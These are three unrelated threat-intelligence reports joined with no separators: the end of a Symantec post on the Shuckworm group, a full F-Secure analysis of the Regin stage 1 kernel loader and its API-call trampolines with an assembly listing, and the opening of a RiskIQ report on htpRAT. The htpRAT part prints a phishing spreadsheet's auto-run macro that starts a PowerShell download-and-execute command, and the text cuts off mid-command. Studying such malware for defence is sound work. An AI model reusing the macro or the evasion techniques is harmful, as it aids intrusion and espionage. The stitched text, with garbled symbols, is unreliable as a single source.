Other tools While the attackers have made heavy use of Pterodo during recent weeks, other tools have also been deployed alongside it.
These include UltraVNC, an open-source remote- administration/remote-desktop-software utility.
UltraVNC has previously been used by Shuckworm in multiple attacks.
In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft Sysinternals tool designed to provide information about which handles and DLL processes have opened or loaded.
Persistent threat While Shuckworm is not the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations.
It appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay ahead of detection.
While Shuckworm appears to be largely focused on intelligence gathering, its attacks could also potentially be a precursor to more serious intrusions, if the access it acquires to Ukrainian organizations is turned over to other Russian-sponsored actors.
Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise A full list of IOCs is available here on GitHub.
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
https://www.broadcom.com/support/security-center/protection-bulletin https://github.com/Symantec/threathunters/tree/main/Shuckworm
Malware analysis report In this document we analyze a set of 32-bit samples which represents stage 1 of the complex threat that is known as Regin.
Based on our analysis of the malwares functionalities, this part of the Regin threat can be considered just a support module its sole purpose is to facilitate and enable the operations of stage 2 by loading it and making it more difficult to detect by security products.
Regins stage 1 targets the Windows platform and support various versions of the operating system, beginning with Windows NT 4.0.
Based on our analysis, the samples may be classified into two categories: pure samples that do not feature any extra, non-malicious code and augmented ones which feature malware code as part of another device driver.
The existence of augmented samples indicates the intention of the attacker to remain undiscovered for as long as possible.
When activated, samples of Regin stage 1 will retrieve encrypted content from specific locations of an already compromised system, map it into kernel memory and transfer control to it.
In terms of technical sophistication, stage 1s import resolution process is of particular interest, as the malware uses the unusual trampoline technique to mask the payloads access to API functions.
It is clear that this support component, that represents the initial stage of a very complex threat, has been instrumental in securing long-term persistence in the attacks that made use of this threat.
Paolo Palumbo Senior Researcher Security Response F-Secure Labs Twitter: paolo_3_1415926 Contact F-Secure Incident Response irtf-secure.com W32/Regin, Stage 1 1.
INTRODUCTION 2 1.1 Sample Statistics 2 2.
MALWARE ANALYSIS 2 2.1 Deployment and startup 3 2.2 Sample selection 3 2.3 Content retrieval 3 2.4 Retrieval from the file system (Extended Attributes) 4 2.5 Retrieval from the registry 4 2.6 Decryption 4 2.7 Content mapping 4 2.8 The QuickPeParse function 5 2.9 Header and sections 5 2.10 Imports Trampolines 6 2.10.1 Embedded code templates 7 2.10.2 Locating a safe location inside a trusted module 7 2.10.3 Code template customization 8 2.10.4 Trampolines 8 2.11 The CodeProtection structure 8 2.12 Relocations 8 2.13 Finalizing the loading process 9 2.14 Invocation of stage 2 10 3.
CONCLUSIONS 10 APPENDIX A: SAMPLE STATISTICS 11 APPENDIX B: MEMSET SYSTEM CALL TRANSITION 14 tlp: wHite mailto:irtf-secure.com 2 F-Secure malware analySiS report 1.
introDUCtion In this document we describe the technical characteristics of a set of 27 32-bit samples of Regins stage 1 component.
We first extract and collect a set of high level information from these samples to obtain a general overview of their structure.
Based on this overview, we propose using two distinct grouping criteria to facilitate working with these samples.
A single sample is then selected and analysed in detail its functionalities are isolated and presented here, together with relevant portions of its code.
1.1 sample statistics Our analysis covers a collected set of 27 32-bit Portable Executable (PE) files for the Microsoft Windows operating system.
All 27 samples are device drivers, designed to work at the kernel level.
Based on the code structure of the samples, they can be roughly categorized into two groups: y Pure does not feature any extra code beside the malicious one y Augmented the malware code is present in combination with code from a legitimate device driver Some augmented samples seem to be derived from Microsoft device drivers, with modifications to drive the execution towards the malicious code.
Of the 27 samples, 20 of them (or 74) are pure only 7 samples can be classified as are augmented.
Despite the small amount of samples at our disposal, it is possible to speculate that the disproportion between the number of pure and augmented samples reflects the additional complexity associated with creating the augmented samples.
Another possibility is that augmented samples represent a particular stage of development or have served a particular purpose, and for this reason they are fewer in number this suspicion might be confirmed by the compilation date as extracted from the samples PE header.
Analysis of the resources also shows that the augmented binaries are masked as binaries for Windows NT 5.2.3790, also known as Windows Server 2003.
This hints to the fact that the attackers might have used these samples to specifically target machines running this particular version of Windows.
It also interesting to consider the filenames of the samples as they were observed in the wild or during submission for analysis.
In 12 cases (44 of samples), the decoy names used by the files was usbclass.sys.
[
1] This particular name was used only for pure samples (though not all such samples used this name).
It is our opinion that this particular name was selected to allay any suspicions on the victims part, if the file was discovered.
Following detailed analysis of a selected reference sample (presented in later sections), we were able to group samples based on differences in their code from the analysed sample.
We define the distance function between our reference sample and other samples as: Using this metric, we determined there were three categories among the 27 samples at our disposal.
A set of 13 samples out of 26 [2], which was assigned the label variant 1, alongside the reference sample, were extremely close to the reference, with distances between 89 and 100.
7 out of 26 samples (labelled variant 2) were very distant from the reference sample [3], with a consistent distance of 2.63.
Finally, the last 7 samples (labelled variant 3) showed distances between 41 and 53 from the reference sample.
While samples belonging to variant 2 or variant 3 were not analyzed in detail, preliminary analysis shows that they all possess the same functionalities, but their code is notably different at the function level.
A final observation is that all the augmented samples belong to variant 1, according to this classification method.
The full data matrix regarding the samples is provided in Appendix A for the interested reader.
2.
Malware analysis This section presents a detailed analysis of a selected sample from the set of samples for Regins stage 1, which later serves as a reference for further analysis of other samples.
1 There exists a small number of references to a Logitech device driver with the name usbclass.sys.
Were these references to be correct, it could be speculated that the malware authors may have wanted to use a name that would survive a simple investigation attempt done by, say, using an internet search engine.
functions sample reference functions sample d(sample): functions sample reference W32/Regin, stage 1 3 2.1 Deployment and startup At the time of writing, it is not known how the Regin stage 1 samples are deployed to the target system.
Our analysis of the samples system interactions showed no evidence to indicate that they are any different from other device drivers we therefore believe that these samples are installed, registered and invoked as with any other device driver.
2.2 sample selection The analysis in this section focuses on the sample with MD5 26297dc3cd0b688de3b846983c5385e5, which was chosen for two reasons: first, the sample was among the first few we retrieved, and second, it was the only pure sample in that particular set.
A pure sample has the advantage of being self-contained, smaller in size and independent from any other code.
2.3 Content retrieval Almost immediately after receiving control, the malwares code will attempt to locate its payload from the already infected system.
The malware will scan selected locations in both the file system and the registry.
These locations are hardcoded inside the binary itself under a layer of simple encryption.
The logic for content retrieval can be represented by a simplified flowchart (Chart 1).
2 The total number of samples is 26 because the reference sample has been excluded.
3 It is clear that d (sample reference) 1.
Chart 1: Flowchart of content retrieval logic 4 F-Secure malware analySiS report 2.4 retrieval from the file system (extended attributes) Regins stage 1 component relies on the concept of Extended Attributes to store its payload on the file-system.
Extended Attributes are a list of name-value pairs that can be associated to New Technology File System (NTFS) files and directories.
The malware retrieves the list of extended attributes associated with the provided full path to a directory or file.
This list is then iterated and each element is inspected.
The malware expects to retrieve the content from extended attributes named as _.
If that condition is met, the value is then extracted.
It should be noted that the content may be split between extended attributes belonging to two different NTFS objects.
An example file-system location is the following: WINDOWS\Cursors The use of Extended Attributes was not observed in malware until the recent emergence of the ZeroAccess rootkit [4].
As the Regin threat appears to have emerged earlier than ZeroAccess however, we are convinced that significant skills, knowledge and resources were available to the developers of Regin to enable earlier use of this unusual technique.
2.5 retrieval from the registry If Regins stage 1 is unable to retrieve payload content from the file-system, the malware will turn its attention to the registry.
Regins stage 1 malware samples contain a hardcoded registry path and value name to be used as a fall- back location for content retrieval.
In this case, the sought content is simply the value of the provided key/value-name combination.
An example registry location is: \REGISTRY\Machine\System\CurrentControlSet\ Control\RestoreList:VideoBase If both content retrieval attempts are unsuccessful, the malware will not perform any additional operation until its next invocation, when it will again attempt to retrieve content from either the file-system or the registry.
2.6 Decryption The encryption used to protect the content in the file system or registry is a XOR based algorithm, specific to this malware family.
Regins stage 1 body contains the key needed for payload decryption.
The code for the payloads decryption routine is presented in Image 1.
After decryption, the malware quickly verifies the payload is correct, in order to avoid attempting to map something for execution when it is obviously invalid (Image 2).
2.7 Content mapping Once the payload is in clear text, Regins stage 1 proceeds to map it so that it can be executed.
The mapping process follows the logic of the operating systems PE loader.
Regins stage 1 PE loader is quite comprehensive considering the suspected age of the threat, the generic nature of the PE loader and the fact that the PE loading happens completely in kernel mode, we can speculate that the authors of this threat are skilled and well-funded.
4 Symantec Response blog Mircea Ciubotariu Trojan.
Zeroaccess.
C Hidden in NTFS EA published 14 Aug 2012 http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea Image 2: Payload verification code Image 1: Content decryption loop W32/Regin, stage 1 5 2.8 the Quickpeparse function Of particular interest is a specific helper function that is widely used by Regins stage 1 in association with PE manipulation.
The helper function quickly verifies the validity of a PE file, while at the same time recovering information (Image 3) useful to anyone willing to load or programmatically process a PE file.
Given the number of times Regins stage 1 needs to retrieve PE-related information, this subroutine is a great help in Image 3: Code recovered for the QuickPeParse function simplifying the code and avoiding dangerous mistakes.
This is, again, possibly additional confirmation of the attackers skills.
2.9 Header and sections This part of the loading process is performed in a fairly standard way.
Regins stage 1 begins the loading process by verifying that its payload is a valid PE file.
If this verification is successful, the malware retrieves the value of the SizeOfImage field from the OptionalHeader of the PE file, then allocates a number of bytes equivalent to this value.
6 F-Secure malware analySiS report Image 5: Missing replacements for mem functions Image 4: Calculating the delta The payload will be mapped to this memory region.
Before proceeding any further, Regins stage 1 calculates the delta (Image 4) between the address of the memory region it allocated for the memory mapped image and the preferred ImageBase retrieved from the OptionalHeader.
This information will be used later during the mapping process, in case relocations need to be processed.
With these operations completed, the headers are mapped first, followed sequentially by each of the PE file sections.
This process is relatively straightforward.
It is to be appreciated that the majority of the operations described above rely at some level on QuickPeParses results.
On another note, in this section of the code we begin to see references to missing replacements for mem functions.
The absence of the mem replacements does not affect the malwares ability to proceed with the execution, as the code falls back to standard API functions (Image 5).
Such code constructs are encountered extensively throughout the remainder of the code.
Our opinion on this matter is that the replacement functions would provide augmented logging when dealing with memory operations their absence is possibly the result of conditional compilation.
Such an explanation would further the belief that the authors of this malware are experienced developers.
2.10 imports trampolines Import resolution is the crucial part for achieving Regin stage 1s goal of hiding the originator of system calls from external observers.
The loader will correctly resolve the address of imported functions, but will embed these addresses in so-called trampoline code.
Addresses to the trampolines are instead added to the Import Address Table (IAT).
From there, the execution will traverse different pieces of code, eventually triggering the requested external subroutine before finally returning to the payload.
Before getting into details, it is important to have an idea of how the trampolines work from a high-level perspective.
A trampoline transition can be summarized as follows: 1.
Payload invokes resolved external subroutine 2.
Trampoline code receives control a. Trampoline code retrieves the previously- resolved real address of the external subroutine b. Trampoline invokes the pre-API call code 3.
Pre-API call code prepares the environment to make the function call return to trusted location inside trusted module a. Pre-API call code invokes the external subroutine 4.
External subroutine performs its duty a.
External subroutine returns 5.
Execution lands in appropriate part of trusted module 6.
Jump to post-API call code is executed 7.
Post-API call code receives control a. Post-API call code restores the environment for payload b. Post-API call code transfers control back to payload, as would normally happen after a call to an external subroutine 8.
Payload continues its operations In the following subsections we will discuss the details of how the malware retrieves and pieces together all the information required to produce and install the trampolines.
Appendix B contains a diagram detailing a complete transition between the payload and an external module exporting a function.
W32/Regin, stage 1 7 2.10.1 embedded code templates The stage 1 malware uses predefined code for pre-API-call and post-API-call operations.
This code is embedded in the binary and is almost ready for use, but it requires some customization to account for differences when it comes to memory addresses.
The malware is aware of the start address of both pieces of code inside its own body, and has a rough idea of the size of the two code portions.
The builder code contains wrong values for the size of both templates.
This is most likely a remnant of a previous code version that contained templates that were bigger.
With this information, the malware scans those sections of code looking for specific DWORDs that mark locations that need customization.
As an example, we report a screenshot of the post-API- call code (Image 6).
The value of 0x99119911 as the second operand of the last instruction in this code portion is a placeholder that acts as a marker for the builder code.
The offset of the values needing customization are marked by the values: y pre-API-call code: 0x66116611 0x77117711 0x88118811 y post-API-call code: 0x99119911 The addresses of such markers relative to the beginning of the owner code portion are recorded for later use.
After all the information is recorded, Regins stage 1 copies both the pre-API-call and the post-API-call code portions to newly allocated memory regions.
2.10.2 locating a safe location inside a trusted module For the trampolines to be successful, a safe location inside a trusted kernel module needs to be found.
After the trampolines are in place, the affected module will be the one that is seen and blamed by an external observer every time the payload executes a call to an external subroutine.
To find this location, Regins stage 1 scans all the sections that are executable and non pageable from a set of trusted modules.
This set of modules includes: y NTOSKRNL.EXE y HAL.dll y Disk.sys y Atapi.sys These memory regions are scanned for a specific set of bytes.
The sought after combinations are listed below, together with their assembly representation.
y 0xFF, 0x26: jmp dword ptr [esi] y 0xFF, 0x27: jmp dword ptr [edi] y 0xFF, 0x66: jmp dword ptr [esibb] y 0xFF, 0x67: jmp dword ptr [edibb] y 0xFF, 0xA6: jmp dword ptr [esidddddddd] y 0xFF, 0xA7: jmp dword ptr [edidddddddd] y 0xFF, 0xE6: jmp esi y 0xFF, 0xE7: jmp edi The assembler representations make the malwares purpose quite clear.
The malware will arrange for the system call to return to this particular location inside a trusted module, fooling any external observer who may be monitoring the return address to identify the module originating the call to the external subroutine.
Executing the code at this location will make the CPU execute the jump operation, which will eventually lead back to the payloads code.
If any of the two bytes sequences presented above is found in the code of a trusted module, and if the surrounding code passes further safety checks, its address is recorded.
Depending on the specific byte combination found, additional information may be retrieved or calculated for example, in the case of a jmp dword ptr [edixxxxxxxx], the immediate part of the operand is retrieved for calculating the delta between that value and the location containing the address of the post-API-call.
The calculated delta value will be assigned to the EDI register so that the execution will flow smoothly.
Image 6: Post-API-call code 8 F-Secure malware analySiS report Image 7: Trampoline memory allocation If none of these sequences are found, the search continues in other sections and trusted modules.
If no suitable location is available, Regins stage 1 will simply terminate its execution.
2.10.3 Code template customization Once the safe location in a trusted module has been located and its address and type retrieved, Regins stage 1 can customize the copies of the pre- and post-API-call code templates.
Each of the values is customized as follows: y 0x66116611: delta value to be applied to ESI/EDI register so that the jump instruction at the safe location will lead the execution back to the post-API-call code y 0x77117711: address of the safe jump location y 0x88118811: nothing, used only as an end marker y 0x99119911: not specifically replaced, but parts of it are overwritten with the address of post-API-call code if the safe location involves an indirect jump 2.10.4 trampolines Trampolines are the mechanism that Regins stage 1 uses to reroute the execution through several pieces of code every time the payload executes a call to an external function.
There exists a trampoline for each individual imported function, and the trampolines are stored sequentially in memory and accessed as an array.
Each trampoline is constructed from the following template: mov eax, d1d1d1d1 jmp d2d2d2d2 The values d1d1d1d1 and d2d2d2d2 are placeholders that will be replaced during actual import resolution with the relevant information.
In particular, the two values will be replaced with the following information: y d1d1d1d1: replaced with the address of the external function from the third party module (for example: NTOSKRNL.EXEmemcpy) y d2d2d2d2: replaced with the offset of the pre-API-call code segment, relative to the instruction after the jmp During import resolution, each item to resolve is fetched and its address retrieved.
The address is then used to fill a trampoline as described above.
Finally, the address of the trampoline is added to the IAT of the module being mapped in place of the resolved address.
Please note that, as is logical, this process is only executed for symbols whose address lies in a section that is flagged as executable.
Other symbols are not protected by trampolines and their addresses are added directly to the IAT.
The described trampoline mechanism clearly provides transparent protection to the payload.
2.11 the Codeprotection structure This structure links together all the pieces involved with the protection of the payload.
It is added, for example, to the payloads data directory information and it is used for most of the computations performed by Regins stage 1.
The structure is defined as follows: Image 8: CodeProtection structure 2.12 relocations The next step of the payload loading process is for the malware to process the possible relocations of the mapped payload.
To carry out this operation, the dedicated code needs to process the base relocation table for the payload.
Additionally, it makes use of the previously calculated delta between the current image base and the preferred image loading address.
W32/Regin, stage 1 9 Image 9: Scanning the payloads DATA_DIRECTORIES The PE loader supports only two specific base relocation types, IMAGE_REL_BASED_HIGHLOW and IMAGE_REL_ BASED_DIR64.
However, this level of support is enough to guarantee the loading of binaries produced by recent toolchains.
As a matter of fact, the loaders support of the relocation type IMAGE_REL_BASED_DIR64 gives us the firsts hint that a 64-bit version of the Regin framework may exist, in combination with 64-bit additional stages.
2.13 Finalizing the loading process As the final step in the loading process, the malware scans the payloads DATA_DIRECTORIES to perform a final modification to the mapped image.
The modification consists of setting the VirtualAddress of the selected DATA_DIRECTORY to the address of the previously mentioned CodeInjection structure.
Additionally, the Size field of the selected DATA_DIRECTORY is set to a 10 F-Secure malware analySiS report special value, 0xFEDCBAFE (renamed MALWARE_MARKER_ DATA_DIR_SIZE in Image 9).
A suitable DATA_DIRECTORY is one which satisfies the following conditions: y The particular data directory is not in use (VirtualAddress and Size must be 0) y The directory should not be among the following directories: EXPORT IMPORT IMPORT ADDRESS TABLE (IAT) DELAY-LOAD IMPORT TABLE It is clear that the malware selects the data directory with special care, specifically to avoid interference with interactions between the mapped payload and its dependencies.
2.14 invocation of stage 2 With the payload fully mapped into memory and the trampoline mechanism set up to mask the malwares access to external subroutines, Regins stage 1 is ready to transfer control to the next stage.
This is done by calculating the address of stage 2s entry point and calling that location.
3.
ConClUsions Our analysis of the Regins stage 1, as detailed in this document, shows that this component of the Regin framework is designed to retrieve an additional payload (stage 2) from an already compromised system, map it into kernel memory and execute it.
During the loading process, Regins stage 1 will hide the payloads invocations of function exported by other modules using an unusual trampoline mechanism.
In this way, the malware manages to effectively fool an external observer into thinking that calls to API functions are being performed by one of a set of trusted modules, thereby allaying suspicion of the payloads activities.
The utilitarian nature of the malware makes it obvious that this is a support module, designed to hide the presence of an additional stage.
Attempting attribution based on this single component is particularly challenging, as Regins stage 1 is purely a support module, with very little content other than executable code.
In the case of the augmented samples, the benign device driver used as a base offers little to nothing in terms of information that could help identifying the author(s).
That said, based on the code structure, we suspect that Regins developers may be experienced and skilled.
Statistical analysis of the 27 samples in our collection suggest that the three different types of stage 1 samples we identified may have been the product of iterative development.
The fact that the malware supports even Windows NT4 targets suggests that this malware is designed to work against a wide set of targets, each running different versions of the Windows operating system in their environment.
We believe however that at some point the attackers directed their efforts towards machines running Windows NT 5.2.3790, also known as Windows Server 2003.
W32/Regin, stage 1 11 appenDiX a: saMple statistiCs Below is the full data matrix for the 27 Regin samples collected.
no.
MD5 HasH known FilenaMe type 1 26297DC3CD0B688DE3B846983C5385E5 plain 2 47D0E8F9D7A6429920329207A32ECC2E abiosdsk.sys embedded 3 01C2F321B6BFDB9473C079B0797567BA ser8uart.sys embedded 4 4B6B86C7FEC1C574706CECEDF44ABDED usbclass.sys plain 5 744C07E886497F7B68F6F7FE57B7AB54 floppy.sys, atdisk.sys embedded 6 2C8B9D2885543D7ADE3CAE98225E263B usbclass.sys plain 7 F3FFC2AAAA1E2AB55EC26FF098653347 atdisk.sys embedded 8 E94393561901895CB0783EDC34740FD4 plain 9 BFBE8C3EE78750C3A520480700E440F8 pcidump.sys plain 10 89003E9A1AE635C97EBAD07AEBC67F00 usbclass.sys plain 11 1800DEF71006CA6790767E202FAE9B9A abiosdisk.sys embedded 12 90FECC6A89B2E22D82D58878D93477D4 atdisk.sys embedded 13 DB405AD775AC887A337B02EA8B07FDDC parclass.sys embedded 14 6662C390B2BBBD291EC7987388FC75D7 usbclass.sys plain 15 06665B96E293B23ACC80451ABB413E50 rdpmdd.sys plain 16 FFB0B9B5B610191051A7BDF0806E1E47 pciclass.sys plain 17 187044596BC1328EFA0ED636D8AA4A5C usbclass.sys plain 18 B29CA4F22AE7B7B25F79C1D4A421139D pciport.sys, usbclass.sys plain 19 D240F06E98C8D3E647CBF4D442D79475 usbclass.sys plain 20 8FCF4E53ECE6111758A1DD3139DC7CAD plain 21 148C1BB9D405D717252C77593AFF4BD8 usbclass.sys plain 22 1C024E599AC055312A4AB75B3950040A usbclass.sys plain 23 B269894F434657DB2B15949641A67532 usbclass.sys plain 24 BA7BB65634CE1E30C1E5415BE3D1DB1D usbclass.sys plain 25 22BFC970F707FD775D49E875B63C2F0C plain 26 B505D65721BB2453D5039A389113B566 usbclass.sys plain 27 049436BB90F71CF38549817D9B90E2DA usbclass.sys plain 12 F-Secure malware analySiS report no.
ConFig 1 ConFig 2 ConFig 3 ConFig 4 1 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\9B9A8ADB-8864-4BC4-8AD5-B17DFDBB9F58 Class WINDOWS WINDOWS\fonts 2 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\security WINDOWSTemp 3 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\repair WINDOWS\msagent 4 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 5 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msapps WINDOWS\Help 6 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 7 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msagent WINDOWS\msagent\chars 8 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msapps WINDOWS\Help 9 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 10 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 11 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\security WINDOWS\Temp 12 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\msagent WINDOWS\msagent\chars 13 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS\Temp WINDOWS\inf 14 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 15 \REGISTRY\Machine\System\CurrentControlSet\Control\ RestoreList VideoBase WINDOWS\Cursors WINDOWS\fonts 16 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\9B9A8ADB-8864-4BC4-8AD5-B17DFDBB9F58 Class WINDOWS WINDOWS\fonts 17 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 18 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 19 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 20 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 21 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 22 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 23 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 24 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 25 \REGISTRY\Machine\System\CurrentControlSet\Control\ Session 5D42A36B-12C4- DE7C-4BD1- 0612BD1CF324 WINDOWS\Spool\ Printers SYSTEM\CertSrv 26 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\4F20E605-9452-4787-B793-D0204917CA58 Class WINDOWS WINDOWS\fonts 27 \REGISTRY\Machine\System\CurrentControlSet\Control\ Class\9B9A8ADB-8864-4BC4-8AD5-B17DFDBB9F58 Class WINDOWS WINDOWS\fonts W32/Regin, stage 1 13 no.
resoUrCes?
nUMber oF resoUrCes FUnCtion MatCH siMilarity sCore variant notes 1 No n/a 76 100 1 Analyzed sample 2 Yes 2 68 89.47368421 1 3 Yes 1 68 89.47368421 1 4 Yes 1 72 94.73684211 1 5 Yes 2 69 90.78947368 1 6 Yes 1 68 89.47368421 1 7 Yes 2 68 89.47368421 1 8 Yes 1 68 89.47368421 1 9 No n/a 76 100 1 10 Yes 1 69 90.78947368 1 11 Yes 2 69 90.78947368 1 12 Yes 2 69 90.78947368 1 13 Yes 1 69 90.78947368 1 14 No n/a 2 2.631578947 2 15 No n/a 2 2.631578947 2 16 No n/a 2 2.631578947 2 17 No n/a 2 2.631578947 2 18 No n/a 2 2.631578947 2 19 No n/a 2 2.631578947 2 20 No n/a 2 2.631578947 2 21 No n/a 37 48.68421053 3 22 No n/a 31 40.78947368 3 23 No n/a 40 52.63157895 3 24 No n/a 31 40.78947368 3 25 No n/a 31 40.78947368 3 26 No n/a 40 52.63157895 3 27 No n/a 40 52.63157895 3 14 F-Secure malware analySiS report appenDiX b: MeMset systeM Call transition HEADER CODE ... IAT ADDR: call dword ptr [IAT:NTOKRNL.EXEMEMSET] ADDR 6: ... NTOSKRNL.EXEMEMSET: off MEMSET_TRAMPOLINE TRAMPOLINES mov eax, off NTOSKRNL.EXEMEMSET jmp pre-api-call code mov eax, off NTOSKRNL.EXEMEMCPY jmp pre-api-call code pre-api-call code: cmp esp,ebp jnl 0x2307d push edi push esi push ebx mov esi,esp add esi,0xc push ebp push dword 0x0 mov ebx,esp push ecx push edx mov ecx,ebp sub ecx,esi cmp ecx,0x4 jl 0x23076 push eax push edx push ebx mov eax,0xf imul eax,eax,0x4 cmp eax,ecx jnl 0x2302d mov ecx,eax mov edx,0x0 mov eax,ecx mov ebx,0x4 idiv ebx dec eax push dword 0x0 cmp eax,0x0 jnz 0x2303b add esp,ecx pop ebx pop edx pop eax mov ebp,esp mov edi,esp sub edi,ecx mov esp,edi rep movsb mov [ebx],esp mov ecx,[ebx-0x4] mov edx,[ebx-0x8] mov dword [ebx-0x4],0x0 mov dword [ebx-0x8],0x0 Change the original return address to the selected jump instruction in the safe module mov dword [esp],SAFE_MODULESAFE_LOCATION Apply the correct DELTA to the required register to satisfy the operand immediate at safe location mov edi,DELTA jmp eax NTOKRNL.EXEMEMSET NTOSKRNL.EXEMEMSET: ... ret SAFE_MODULESAFE_LOCATION: Indirect jump to of post-api-call jmp [edi-0x78740008] post-api-call code: mov ecx,esp sub ecx,[ebp0x8] sub ecx,0x4 mov esp,ebp add esp,0xc pop ebp pop ebx pop esi pop edi pop edx add esp,ecx jmp edx Jump back Off post-api-call code 1.
INTRODUCTION 1.1 Sample Statistics 2.
MALWARE ANALYSIS 2.1 Deployment and startup 2.2 Sample selection 2.3 Content retrieval 2.4 Retrieval from the file system (Extended Attributes) 2.5 Retrieval from the registry 2.6 Decryption 2.7 Content mapping 2.8 The QuickPeParse function 2.9 Header and sections 2.10 Imports Trampolines 2.10.1 Embedded code templates 2.10.2 Locating a safe location inside a trusted module 2.10.3 Code template customization 2.10.4 Trampolines 2.11 The CodeProtection structure 2.12 Relocations 2.13 Finalizing the loading process 2.14 Invocation of stage 2 3.
CONCLUSIONS APPENDIX A: SAMPLE STATISTICS APPENDIX B: MEMSET SYSTEM CALL TRANSITION
Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN By Yonathan Klijnsma Table of Contents Introduction ............................................................................................................................................................................... 3 Initial infection through APA List.xls ........................................................................................................................4 GitHub repositories for payload delivery ..................................................................................................................... 5 Staged delivery of the final htpRAT core .....................................................................................................................9 Analysis of the htpRAT core .............................................................................................................................................. 11 Persistence storage ............................................................................................................................................................ 11 Communication protocol ....................................................................................................................................................12 Execution of operator commands ..................................................................................................................................15 Infrastructure analysis .........................................................................................................................................................16 Other activity by the actor using htpRAT .................................................................................................................18 Indicator of compromise ....................................................................................................................................................19 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN3 Introduction On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government.
The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported.
The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming.
htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversarys arsenal in a campaign against Association of Southeast Asian Nations (ASEAN).
Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files.
They support a fixed set of commands operators can execute using different command IDs file download or file upload, for exampleand must be completely rebuilt to have different functionality.
htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect.
On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute.
This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware.
Operators can change functionality, such as searching for a different file on the victims network, simply by wrapping commands.
The file APA list.xls (sha256: f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eefa0a88eeff89) was delivered through email: The top part contains Lao and English: Enable Content roughly translates as You can click Enable Content to (see/change) the data, with an added example image of how to enable the macros in the document.
Based on embedded metadata inside the Excel sheet, the last modified date on the file was Mon Nov 07 07:18:32 2016, meaning the document was prepared just before sending it to the target.
Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN4 Initial infection through APA List.xls The XLS document contains the following macro: Once the macro is enabled, the following PowerShell command runs to download a file and execute it (the downloaded file is stored in the Application Data folder in the users local profile).
It is interesting to note the use of GitHub over HTTPS to stage the payload: Attribute VB_Name ThisWorkbook Attribute VB_Base 000020819-0000-0000-C000-000000000046 Attribute VB_GlobalNameSpace False Attribute VB_Creatable False Attribute VB_PredeclaredId True Attribute VB_Exposed True Attribute VB_TemplateDerived False Attribute VB_Customizable True Private Sub Workbook_Open() Set objshell CreateObject(wscript.shell) a objshell.
Run(cmd.exe /s /c powe rshell (New-Object System.
Net.
